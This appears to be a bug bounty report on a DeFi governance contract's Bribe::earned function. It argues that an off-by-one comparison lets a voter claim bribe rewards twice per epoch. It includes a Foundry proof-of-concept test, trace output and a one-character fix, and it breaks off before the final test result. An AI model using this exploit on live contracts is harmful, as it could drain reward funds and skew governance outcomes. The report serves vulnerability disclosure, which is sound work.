Contract fails to deliver promised returns, but doesn't lose value
Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Description
Brief/Intro
Bribe::earned() - L229: It's potentially possible to earn TWICE in an epoch due to a small logical oversight in if (block.timestamp - _bribeStart(_startTimestamp) < DURATION) {.
In if (block.timestamp - _bribeStart(_startTimestamp) < DURATION) { the DURATION represents rewards released over a voting period of 2 weeks uint256 internal constant DURATION = 2 weeks;.
Vulnerability Details
Details:
The duration is 2 weeks, which means 14 days, which means from beginning of day 1 to end of day 14. This is the duration period, or the epoch period. Things that shouldn't happen during the epoch or shouldn't happen more than once during the epoch should only happen AFTER the end of the 14th day, and not AT the end of the 14 day because AT the end of the 14th day or AT the end of week 2 the epoch is still technically active/valid, i.e. it is not AFTER the final second of the epoch end yet. Only after the epoch end should we claim rewards again, or do something for a "second" time.
This is a common logical "mistake" seen in many protocols...
Even in some of the protocol tests there is clear evidence of adding 1 seconds to epoch durations during the testing phase, probably to bypass confusing/conflicting results. In my opinion, this due to using < in above line of code at L229, instead of <=.
Regardless, I hope to demonstrate with my PoC tests below that its actually possible to claim bribes TWICE during the same epoch, due to usage of < instead of <=. This is a complex topic in my opinion and I'm not insisting that I'm 100% correct, however, I am drawing attention to this matter because it requires 100% focus, attention, care and clarity to not make any mistakes. This isn't about off by 1 errors at all. Due to your currently implemented logic in your function, a user could potentially claim bribes twice for the same epoch...
Check my PoC test results where I demonstrate this.
Function in question:
functionearned(address token,uint256 tokenId) publicviewreturns (uint256) {if (numCheckpoints[tokenId] ==0) {return0; }uint256 _startTimestamp = lastEarn[token][tokenId];// Prevent earning twice within an epochif (block.timestamp -_bribeStart(_startTimestamp) < DURATION) { /// @audit potential buggy line...return0; }uint256 _startIndex =getPriorBalanceIndex(tokenId, _startTimestamp);uint256 _endIndex = numCheckpoints[tokenId] -1;uint256 reward =0;// you only earn once per epoch (after it's over) Checkpoint memory prevRewards; // reuse struct to avoid stack too deep prevRewards.timestamp =_bribeStart(_startTimestamp);uint256 _prevSupply =1;if (_endIndex >=0) {for (uint256 i = _startIndex; i <= _endIndex; i++) { Checkpoint memory cp0 = checkpoints[tokenId][i];uint256 _nextEpochStart =_bribeStart(cp0.timestamp);// check that you've earned it// this won't happen until a week has passedif (_nextEpochStart > prevRewards.timestamp) { reward += prevRewards.balanceOf; }if (_startIndex == _endIndex) break; prevRewards.timestamp = _nextEpochStart; _prevSupply = votingCheckpoints[getPriorVotingIndex(_nextEpochStart + DURATION)].votes;// Prevent divide by zeroif (_prevSupply ==0) { _prevSupply =1; } prevRewards.balanceOf = (cp0.balanceOf * tokenRewardsPerEpoch[token][_nextEpochStart]) / _prevSupply; } } Checkpoint memory cp = checkpoints[tokenId][_endIndex];uint256 _lastEpochStart =_bribeStart(cp.timestamp);uint256 _lastEpochEnd = _lastEpochStart + DURATION;uint256 _priorSupply = votingCheckpoints[getPriorVotingIndex(_lastEpochEnd)].votes;// Prevent divide by zeroif (_priorSupply ==0) { _priorSupply =1; }if (block.timestamp > _lastEpochEnd) { reward += (cp.balanceOf * tokenRewardsPerEpoch[token][_lastEpochStart]) / _priorSupply; }return reward; }
Impact Details
IMPACT:
Potential impact in scope: Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Alternative impact in scope: Contract fails to deliver promised returns, but doesn't lose value
Likelihood: low -- probably not easy to carry out, would need to use automated "attack" contract and get the timing precise down to the second...
Impact: medium - high -- malicious user/voter could leverage this to manipulate governance vote outcomes due to his unfair advantage in terms of collecting rewards... -- contract "loses" reward funds unexpectedly and under invalid conditions
functiontestBugBribeClaiming() public {// ------------------- Start first epoch iuint256 tokenId1 =createVeAlcx(admin, TOKEN_1, MAXTIME,false);address bribeAddress = voter.bribes(address(sushiGauge));// Add BAL bribes to sushiGaugecreateThirdPartyBribe(bribeAddress, bal, TOKEN_100K);address[] memory pools =newaddress[](1); pools[0] = sushiPoolAddress;uint256[] memory weights =newuint256[](1); weights[0] =5000;address[] memory bribes =newaddress[](1); bribes[0] =address(bribeAddress);address[][] memory tokens =newaddress[][](1); tokens[0] =newaddress[](1); tokens[0][0] = bal;// in epoch i, admin votes hevm.prank(admin); voter.vote(tokenId1, pools, weights,0);// ------------------- Start second epoch i+1//hevm.warp(newEpoch()); hevm.warp(newEpoch() - 1 seconds); /// @audit added for PoC/testing purposes >>> `IMinter(minter).activePeriod() + IMinter(minter).DURATION() + 1 seconds;` >>> i subtracted 1 second to remove the error correction of protocol's testing phases
uint256 blockTimestamp1 = block.timestamp; /// @audit added for PoC/testing purposes >>> this is now exactly at the start of the next epoch...
voter.distribute();uint256 earnedBribes1 =IBribe(bribeAddress).earned(bal, tokenId1);assertEq(earnedBribes1, TOKEN_100K,"bribes from voting should be earned"); hevm.prank(admin); voter.claimBribes(bribes, tokens, tokenId1);assertEq(earnedBribes1,IERC20(bal).balanceOf(admin),"admin should receive bribes");// Add BAL bribes to sushiGauge /// @audit added for PoC/testing purposescreateThirdPartyBribe(bribeAddress, bal, TOKEN_100K); /// @audit added for PoC/testing purposes hevm.prank(admin); /// @audit added for PoC/testing purposes voter.vote(tokenId1, pools, weights,0); /// @audit added for PoC/testing purposes hevm.warp(blockTimestamp1 + 2 weeks); /// @audit added for PoC/testing purposes >>> this warps to exactly 2 weeks later after the start of the CURRENT epoch, so this should now be at the end of 14 days or 2 weeks, lets see if calculations agree with this assumption:
uint256 blockTimestamp2 = block.timestamp; /// @audit added for PoC/testing purposes voter.distribute(); hevm.prank(admin); voter.vote(tokenId1, pools, weights,0); hevm.prank(admin); voter.claimBribes(bribes, tokens, tokenId1); uint256 totalSecsPerEpoch = 2 weeks; /// @audit added for PoC/testing purposes >>> because an epoch is exactly 2 weeks
assertEq(totalSecsPerEpoch, block.timestamp - blockTimestamp1); /// @audit added for PoC/testing purposes >>> to check if total secs in 1 epoch is equal to current timestamp - beginning of current/previous epoch?
assertEq(blockTimestamp1, block.timestamp - totalSecsPerEpoch); /// @audit added for PoC/testing purposes >>> to check if total secs in 1 epoch is equal to current timestamp - beginning of current/previous epoch?
assertGt(2 weeks + 1 seconds, blockTimestamp2 - blockTimestamp1); /// @audit added for PoC/testing purposes >>> effectively demonstrating that the current timestamp is not part of the next epoch, but still part of the current epoch which started exactly 2 weeks ago...
}
TEST 1: testing WITH the bug, to demonstrate how the user claims bribe rewards twice in the same epoch:
check the assertions that I added at the end of the test function, where I attempted to prove that the second rewards claim happens DURING the same epoch as first claim...
make file test command used: make test_file_debug_test FILE=Voting TEST=testBugBribeClaiming.
please note that I wasnt sure how to get the "transfer amount exceeds balance" error to disappear, but I didnt need to, because this error message shows that the second attempt to claim bribe rewards was NOT prevented, otherwise this error message would not be possible...:
So it's pretty clear from the above test results that the function call tried to transfer bribe rewards to the user a SECOND time during the same epoch, but failed due to insufficient funds available. If your system checks for this worked 100% correctly, this step wouldn't even be reached...
(Again, I wasnt sure how to make funds available quickly, didnt want to spend time on that, but that shouldnt be necessary anyway as this should suffice more than enough already...)
So let me demonstrate with my bugfix that this above test result isnt even possible, the system doesnt even try to transfer bribe rewards to the user a second time during same epoch...
TEST 2: now using the bugfix, to demonstrate that claiming of bribe rewards more than once during same epoch is now impossible / not possible:
commented out the buggy code and inserted the bugfix into the function: Removed buggy line of code:
if (block.timestamp -_bribeStart(_startTimestamp) < DURATION) {
Inserted bugfix:
if (block.timestamp -_bribeStart(_startTimestamp) <= DURATION) {
Test result:
$ make test_file_debug_test FILE=Voting TEST=testBugBribeClaimingFOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/blahblahblah --match-path src/test/Voting.t.sol --match-test testBugBribeClaiming -vvvvv
[⠊] Compiling...[⠰] Compiling 130 files with Solc 0.8.15[⠒] Solc 0.8.15 finished in 7.33sCompiler run successful with warnings:...... ├─ [7262] Bribe::earned(0xba100000625a3754423978a60c9317c58a424e3D,1) [staticcall] │ └─ ← [Return] 100000000000000000000000 [1e23] ├─ [0] VM::prank(0x8392F6669292fA56123F71949B52d883aE57e225) │ └─ ← [Return] ├─ [112908] Voter::claimBribes([0xa2A4601B7243C89cD6F3EeC372570F3504527CDA], [[0xba100000625a3754423978a60c9317c58a424e3D]], 1)
│ ├─ [1229] VotingEscrow::isApprovedOrOwner(0x8392F6669292fA56123F71949B52d883aE57e225,1) [staticcall] │ │ └─ ← [Return] true │ ├─ [108403] Bribe::getRewardForOwner(1, [0xba100000625a3754423978a60c9317c58a424e3D]) │ │ ├─ [611] VotingEscrow::ownerOf(1) [staticcall] │ │ │ └─ ← [Return] 0x8392F6669292fA56123F71949B52d883aE57e225 │ │ ├─ [29011] 0xba100000625a3754423978a60c9317c58a424e3D::transfer(0x8392F6669292fA56123F71949B52d883aE57e225, 100000000000000000000000 [1e23])
│ │ │ ├─ emit Transfer(from: Bribe: [0xa2A4601B7243C89cD6F3EeC372570F3504527CDA], to: 0x8392F6669292fA56123F71949B52d883aE57e225, value: 100000000000000000000000 [1e23])
│ │ │ └─ ← [Return] true │ │ ├─ emit ClaimRewards(from: 0x8392F6669292fA56123F71949B52d883aE57e225, reward: 0xba100000625a3754423978a60c9317c58a424e3D, amount: 100000000000000000000000 [1e23])
│ │ └─ ← [Stop] │ └─ ← [Stop] ├─ [542] 0xba100000625a3754423978a60c9317c58a424e3D::balanceOf(0x8392F6669292fA56123F71949B52d883aE57e225) [staticcall]
│ └─ ← [Return] 100000000000000000000000 [1e23]...... ├─ [0] VM::prank(0x8392F6669292fA56123F71949B52d883aE57e225) │ └─ ← [Return] ├─ [10374] Voter::claimBribes([0xa2A4601B7243C89cD6F3EeC372570F3504527CDA], [[0xba100000625a3754423978a60c9317c58a424e3D]], 1)
│ ├─ [1229] VotingEscrow::isApprovedOrOwner(0x8392F6669292fA56123F71949B52d883aE57e225,1) [staticcall] │ │ └─ ← [Return] true │ ├─ [5985] Bribe::getRewardForOwner(1, [0xba100000625a3754423978a60c9317c58a424e3D]) │ │ ├─ [611] VotingEscrow::ownerOf(1) [staticcall] │ │ │ └─ ← [Return] 0x8392F6669292fA56123F71949B52d883aE57e225 │ │ └─ ← [Revert] revert: no rewards to claim │ └─ ← [Revert] revert: no rewards to claim └─ ← [Revert] revert: no rewards to claimSuite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 70.69s (51.92s CPU time)Ran 1 test suite in 73.61s (70.69s CPU time):0 tests passed,1 failed,0skipped (1 total tests)Failing tests:Encountered 1 failing test in src/test/Voting.t.sol:VotingTest[FAIL. Reason:revert: no rewards to claim] testBugBribeClaiming() (gas:4967312)Encountered a total of 1 failing tests,0 tests succeededmake:*** [Makefile:74: test_file_debug_test] Error 1
first claim was allowed, second claim attempt was blocked successfully.
Final test: with bugfix, adding 1 second to the second time warp, which is the start of the next epoch, so it should allow claiming of "second" bribe reward now:
hevm.warp(blockTimestamp1 + 2 weeks + 1 seconds); Test result: